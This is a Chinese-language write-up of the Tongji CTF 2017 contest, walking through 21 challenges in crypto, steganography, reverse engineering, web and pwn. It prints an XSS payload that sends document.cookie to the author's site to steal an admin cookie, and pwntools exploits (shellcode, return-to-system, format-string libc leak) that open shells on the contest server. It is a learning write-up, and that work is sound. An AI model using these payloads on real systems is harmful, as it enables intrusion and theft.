Tongji CTF 2017 Writeup

今年學校的大佬們又辦了CTF比賽,我也繼續湊了一下熱鬧,記一下writeupphp

完成狀況: 21 / 22python

1. 簽到題 basic10

簽到題,無需多言,直接提交便可linux

2. RSA crypto100

求最大質因數。沒有本身算,由於有一個網站 存了大質數的數據庫,能夠直接查ios

3. 這也是一道簽到題 misc100

看到等於號結尾,猜測多是base64, 解碼之,獲得一堆點和槓的組合,明顯是莫爾斯碼,因而找到在線解碼網站解之。web

4. 月黑風高夜 misc200

圖片隱寫題。用 StegSolver 打開,左右翻了一下,發如今某一個通道藏了一個二維碼,仍是比較明顯的,掃之。shell

5. 有毒吧 misc200

用wireshark打開抓包文件,發現是一些USB相關的數據。數據庫

結合提示,應該是抓的鍵盤的包。百度了一下發如今數據中有中斷信號能夠判斷出是按了哪個鍵。windows

找到了網上的一個教程和一篇說明鍵盤中斷碼的文檔,首先能夠用wireshark自帶的一個程序導出這些數據,而後根據文檔人肉查表找到了鍵盤記錄,也就是 flag數組

導出語句:bash

tshark.exe -r xxxxxxx.pcap -T fields -e usb.capdata > usbdata.txt

鍵盤碼文檔

6. 這是一道簽到題 reverse100

Apk首先提取出來classes.dex , 用 dex2jar 處理成jar。

而後jd-gui打開,直接看代碼。

發現if語句中判斷一個全是看上去是ASCII碼的數字的數組,寫個腳本用chr()把這些數字轉成ASCII便可獲得flag。

7. 這是一道XinSaiSai的題目 web100

一開始沒讀懂題,後來發現題目的暗示,是XSS攻擊。

好比,在用戶名提交 <script>location.href=http://我的網站/+document.cookie</script>,請求本身的網站。

而後到後臺看log發現請求參數是果真就是咱們想要的管理員的 cookie 也就是flag

題目比較基礎,沒有對提交的東西作任何過濾

8. 這也叫緩衝區溢出 pwn100

很基礎的一道pwn題。

直接溢出覆蓋後面的變量,使得if語句得以執行,正好給出的數是能夠由 ASCII 字符組成,因而提交 ‘aptx’ * 66 , 正好覆蓋變量,拿到flag

9. 這是一道很難的題目 web200

網站上顯示的文章百度之,發現是一篇沒有e的文章,也就是暗示0e,再加上說是php,也就是指向了php的md5() 用 == 判斷的一個問題。

構造一個md5以後是0e打頭的字符串,會被php認爲是數字進行比較,由於太大變成0,由於php是弱類型語言,因而 == 號成立,驗證經過,拿到flag。

網上有不少 php 的弱類型比較 的相關文章,這題的關鍵是領會出題人的暗示

10. 大新聞 misc200

拿到了wifi的數據包,能夠找個經常使用字典用 aircrack-ng 來暴力破解密碼, 題目密碼比較弱,秒出(暴力xx不可取)

11. .NETTEN. reverse200

題目暗示是.NET, 反編譯之。發現resources裏藏了一個exe,並且main函數裏把每一個字節異或了99以後才Invoke執行的。

拿出exe跑個腳本每一個字節異或下,又是一個.NET程序。接着反編譯之。邏輯很簡單,分別用 md5, base64, sha1 來處理一下。其中md5和sha1雖然是不對稱加密,可是常見的原文都是能夠網上查的。

import sys
file1_b = bytearray(open('./ReflectionShell.ReflectionCore.exe', 'rb').read())

size = len(file1_b)
xord_byte_array = bytearray(size)
 
# XOR
for i in range(size):
        xord_byte_array[i] = file1_b[i] ^ 99
 
# Write the XORd bytes to the output file
open('xx.exe', 'wb').write(xord_byte_array)

12. 這仍是緩衝區溢出 pwn200

IDA之,發現這是一個printf的格式化字符串來構造溢出的題目。利用這個能夠把已經存在棧裏的 flag 輸出出來。

只要計算好偏移位置能夠任意地址輸出和寫入, 本題的 exploit 輸入爲 "%6$s"

13. py交易 misc200

解壓文件夾,獲得一個pyc文件。但是文件名有點奇怪,爲啥強調cpython-36呢?(後來發現想錯了,都帶這個,不過搜這個真的能找到講隱寫的文章) 百度一下發現有一個pyc的隱寫工具stegosaurus,從網站上下載下來運行就能夠extract出來flag了。

14. Hijack reverse300

題目暗示要dll劫持。分析dll發現導出了兩個函數 _0_1 , 二維碼說要考慮函數的調用順序。

因而感受可能答案是01串吧。本身編譯一個dll,這個dll裏 _0_1 分別輸出 0 和 1,替換原來的dll,也就是dll劫持,運行果真獲得01串

找一個網站 binary 2 ascii ,獲得 flag

經過這個題學習了windows裏咋編譯dll,收穫挺大的,以前VS都不多用

#include "Flag.h"
#include "stdafx.h"
#include <iostream>
using namespace std;
__declspec(dllexport) void _0() {
        cout << "0";
}
__declspec(dllexport) void _1() {
        cout << "1";
}
int main()
{
        cout << "fuck" << endl;
    return 0;
}

15. WANNACRY crypto200

這道題目說是 AES-CTR 加密。後綴名暗示這是一個wmv文件。查到wmv文件的前16個字節是固定的,因而已知16字節的明文密文對。而後又找到多個wmv文件對比,發現有一行必定是全0, 因而又找到一串明文密文對,明文異或密文就能夠獲得 key和counter AES以後的結果。

驚奇的發現兩對獲得的結果居然同樣,說明counter根本沒有變。因此只要每一個16字節都異或這一串就能夠獲得原文啦。

# from Crypto.Util import Counter
# from Crypto.Cipher import AES

def main():

    known_plain  = bytes.fromhex('3026B2758E66CF11A6D900AA0062CE6C')
    known_cipher = bytes.fromhex('3e8652327e4d1a0e871865eb29485dcc')

    # plain_0 = '0' * 16 
    # cipher_0 = '0ea0e047f02bd51f21c16541292a93a0'

    key = bytearray(16)

    for i in range(16):
        key[i] = known_cipher[i] ^ known_plain[i]

    key = bytes(key)

    key_aes_iv = bytes(key)

    cipher = open('./flag.wmv.enc', 'rb').read()

    # ctr = Counter.new(128)

    # decryptor = AES.new(key=key, mode=AES.MODE_CTR, counter=ctr)
    # plain = decryptor.decrypt(cipher)
    l = len(cipher)
    plain = bytearray(l)

    for i in range(l):
        plain[i] = cipher[i] ^ (key[i % 16])

    f = open('plain.wmv', 'wb')
    f.write(plain)
    f.close()

if __name__ == '__main__':
    main()

16. 感受藥丸 crypto300

打開以後發現自動識別編碼是 GBK,發現是一堆雨字頭的中文,加一些標點符號和數字。

由於符號和數字沒有加密,標點符號什麼的也很正常,因而猜想是用了替代密碼。 多是把英文文章裏的字母替換成了漢字

寫了一個腳本用來統計其中的漢字的出現次數,同時也發現有 25 個漢字,和字母的個數差很少,近一步驗證了想法。

以後就是查找字母頻率進行替代。先給出一個大體的順序替代,根據看文章的出現經常使用單詞來交換不正確的,最後獲得原文,flag也在其中

def is_chinese(uchar):
    if uchar >= u'\u4E00' and uchar <= u'\u9FA5':
        return True
    else:
        return False

def wordcount(f, encoding):
    d = {}
    try:
        with open(f, 'r') as txt:
            for line in txt:
                u = line
                for uchar in u:
                    if is_chinese(uchar):
                        if uchar in d.keys():
                            d[uchar] += 1
                        else:
                            d[uchar] = 1
    except IOError as ioerr:
        print("error")

    return d

def analyse(word_dict):
    count_sum = 0
    for k, v in word_dict.items():
        count_sum += v
    sd = sorted(word_dict.items(), key=lambda x: x[1], reverse=True)
    print(sd)
    exchange(sd)

def exchange(word_dict):
    freq = ['e', 't', 'a', 'n', 'i', 's', 'o', 'h', 'r', 'd', 'l', 'u', 'f', 'g', 'w', 'p', 'b', 'y', 'c', 'm', 'v', 'k', 'j', 'x', 'q']  # 手動改這裏看結果

    res = {}
    for i, (k, v) in enumerate(word_dict):
        res[k] = freq[i]

    newfile = open('plain.txt', 'w')

    with open('ss.txt', 'r') as txt:
        for line in txt:
            newline = ''.join([res[ch] if is_chinese(ch) else ch for ch in line])
            print(newline)
            newfile.write(newline)
    print(res) 
if __name__ == '__main__':
    d = wordcount('./ss.txt', 'utf-8')
    analyse(d)

17. Quanter reverse400

首先運行,發現是輸入一個字符串。應該是加密後比較,正確的原文就是flag

而後IDA之,發現裏面沒有詳細的函數名,跳轉也比較複雜,因而先從裏面的字符串下手。

strings 的結果中找到了一串大寫字母,多是加密後的明文。IDA裏查找字符串,果真找到了函數

分析後找到了所謂的加密函數,沒看懂, 因而提取出來函數,嘗試加密看結果

發現加密後的長度是原來的二倍,並且後一個字母的加密結果依賴於前面的加密結果,輸入tj{果真前幾個都同樣

因而開始寫代碼爆破,最後獲得告終果

#include <cstdio>
#include <cstring>
// encrypt(a,b) 是反編譯的結果裏提取出來的加密函數
const char *dest = "EJAFDTHQDVCWJDDSJNDHCJEZCGJSJKGREIFAHVDKIICBHLJFJQEUFMFWCQIUFLHGCFGWJABIFMGEEM";
void brute()
{
    char a[100];
    char b[100];
    char c[100];
    for (int i = 0; i < 100; ++i) a[i] = 0;
    a[0] = 't';
    a[1] = 'j';
    a[2] = '{';
    for (int i = 3; i < 39; ++i) {
        for (char ch = 0; ch < 128; ++ch) {
            a[i] = ch;
            for (int _ = 0; _ < 100; ++_) b[_] = 0;
            encrypt(a, b);
            strncpy(c, dest, 2*(i+1));
            c[2*(i+1)] = 0;
            if (strcmp(b, c) == 0) {
                break;
            }
        }
        printf("%s\n", a);
    }
}

int main()
{
    brute();
    return 0;
}

18. C語言超級程序設計 pwn300

這題跟前兩題不太同樣,內存裏沒有flag,不過查看代碼能夠看到一句 call eax

運行 checksec 發現開了Canary棧保護可是沒開NX,因此咱們能夠在棧上寫入shellcode代碼而且會由於那句call eax而執行

from pwn import *

sh = remote('10.10.175.209', 10003)
# sh = process('./pwn300')

payload = asm(shellcraft.i386.linux.sh())

print payload

sh.sendline(payload)

sh.interactive()

sh.close()

19. I wrote Python reverse 500

解壓文件,發現包含了一個完整的 python 環境還有一個 flag.pyc, 直接執行pyc發現要輸入密碼。

確定是要反編譯這個pyc了,然而經常使用的uncompyle6直接報錯,看來問題是出在題目自帶的python環境了。

查找題目給的python自帶的包,發現了一個dis庫,import的時候提示缺乏opcode.py, 把系統裏的放進去,能import了,然而用的時候又出錯了。

因而問題就鎖定在這個opcode.py了。通過查找資料發現,python有一種常見的混淆方法就是本身魔改一個解釋器,把bytecode表明的數字作個替換,讓普通的反編譯手段沒法生效,不過發佈軟件要自帶解釋器,看來就是這個緣由了。

分別在兩個解釋器寫一個相同的函數,而後輸出func.__code__.co_code,果真不一樣,驗證了本身的猜測

因而咱們就須要根據正確的opcode來尋找到底替換了什麼。我採用的方法是編寫一個包含全部opcode的python代碼,分別用正常的解釋器編譯和用題目的解釋器編譯,而後解析二進制文件,查找到底哪一個opcode被替換了,而後本身再編譯一個使用錯誤opcode的反編譯器,獲得源碼,獲取flag。

反編譯用的是GitHub上找的一個C++寫的庫,由於能夠本身修改opcode從新編譯。

對比pyc的代碼:

import sys
import marshal
opmap = {}


def compare(cobj1, cobj2):
    codestr1 = bytearray(cobj1.co_code)
    codestr2 = bytearray(cobj2.co_code)
    if len(codestr1) != len(codestr2):
        print("two cobj has different length, skipping")
        return
    i = 0
    while i < len(codestr1):
        if codestr1[i] not in opmap:
            opmap[codestr1[i]] = codestr2[i]
        else:
            if opmap[codestr1[i]] != codestr2[i]:
                print(codestr1[i], '   ->   ', codestr2[i])
                print("error: has wrong opcode")
                break
        if codestr1[i] < 90:
            i += 1
        elif codestr1[i] >= 90:
            i += 2
        else:
            print("wrong opcode")
    for const1, const2 in zip(cobj1.co_consts, cobj2.co_consts):
        if hasattr(const1, 'co_code') and hasattr(const2, 'co_code'):
            compare(const1, const2)


def usage():
    print("Usage: %s filename1.pyc filename2.pyc")


def main():
    if len(sys.argv) != 3:
        usage()
        return
    cobj1 = marshal.loads(open(sys.argv[1], 'rb').read())
    cobj2 = marshal.loads(open(sys.argv[2], 'rb').read())
    compare(cobj1, cobj2)

    res = {}
    for k, v in opmap.items():
        if k != v:            # res[bytes((v,))] = bytes((k,))
            res[v] = k

    print(res)

    for k, v in res.items():
        print(k, '->', v)


if __name__ == '__main__':
    main()

修改以後反編譯獲得python代碼是一堆if語句,最後寫一個獲取flag的腳本就好了

20. C語言-還有這種操做-程序設計 pwn400

這道題也沒有將flag讀到內存裏,看來須要拿到shell才行

objdump一下,發現裏面有system@plt, 因而只須要構造棧溢出而後覆蓋返回地址就能夠了

至於 "/bin/sh" 字符串嘛,程序里正好有一個 "small fish" 字符串,咱們能夠計算其中的 "sh" 的地址構造exploit

最後順利拿到shell

代碼

from pwn import *

r = remote('10.10.175.209', 10004)

system_arg = p32(0x80485d3 + 8)

payload = 'A' * 0x100 + 'a' * 16 + p32(0x08048380) + 'b' * 4 + system_arg

r.sendline(payload)

r.interactive()

21. ????? pwn500

這個題目也是內存中沒有flag,須要那shell, 不過此次既沒有 system 也沒有 shell,並且開了NX,不能寫shellcode了

不過觀察Kid函數能夠發現,scanf函數能夠溢出,並且printf函數能夠利用格式化字符串漏洞讀寫任意合法地址

查閱資料能夠知道 plt 和 got 的原理,只須要知道函數在libc.so中的偏移差,就能夠用一個函數的真實地址計算出另外一個函數的真實地址了

在gdb中調試能夠在棧裏找到一個 __libc_start_main 的實際地址,因而能夠用printf將其泄露出來,計算出 system 地址

偏移地址的計算能夠藉助一個libc-database的庫,至於libc版本,能夠用pwn400拿到shell後去看,由於pwn題都在一個服務器上

但是咱們還須要第二次發送,因而能夠棧溢出覆蓋函數的返回地址改爲仍是這個Kid函數,從而能夠第二次執行輸入

objdump -h 能夠查找到 .bss 段的地址

咱們的第二次輸入能夠利用printf的%n的任意寫的漏洞,將 "/bin/sh" 寫入到 .bss 段中,而後這個payload的返回地址就是system,參數是咱們寫入的這個地址,最後成功拿到shell

# %83$p
# then libc-database get system_addr and bash_addr

from pwn import *
DEBUG = 0
# r = process('./pwn500')
r = remote('10.10.175.209', 10005)
# 
if DEBUG:
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(r)[0])
# 
kid_addr = p32(0x0804854d)

payload = '%83$p' + 'A' * (0x100 + 16 - 5) + kid_addr

r.sendline(payload)

res = r.recv(1024)
print res

start_addr = int(res[0:10], 16)

print 'start_main_addr:', hex(start_addr)

# 
system_addr = start_addr - 0x18637 + 0x0003a940
sh_addr = start_addr - 0x18637 + 0x15900b # failed why ?

print 'system_addr:', hex(system_addr)
print 'sh_addr:', hex(sh_addr)


# 0x804a070 在bss段, 用 "sh" 寫入, 也就是 \x73\x68\x00\x00

payload2 = fmtstr_payload(7, {0x0804a070: 0x00006873})

payload2 += 'B' * (0x100 + 16 - len(payload2)) + p32(system_addr) + kid_addr + p32(0x0804a070)

r.sendline(payload2)
r.interactive()

代碼寫得很醜......

最後祝黃渡理工的 CTF 和計算機相關專業發展的愈來愈好!

相關文章
相關標籤/搜索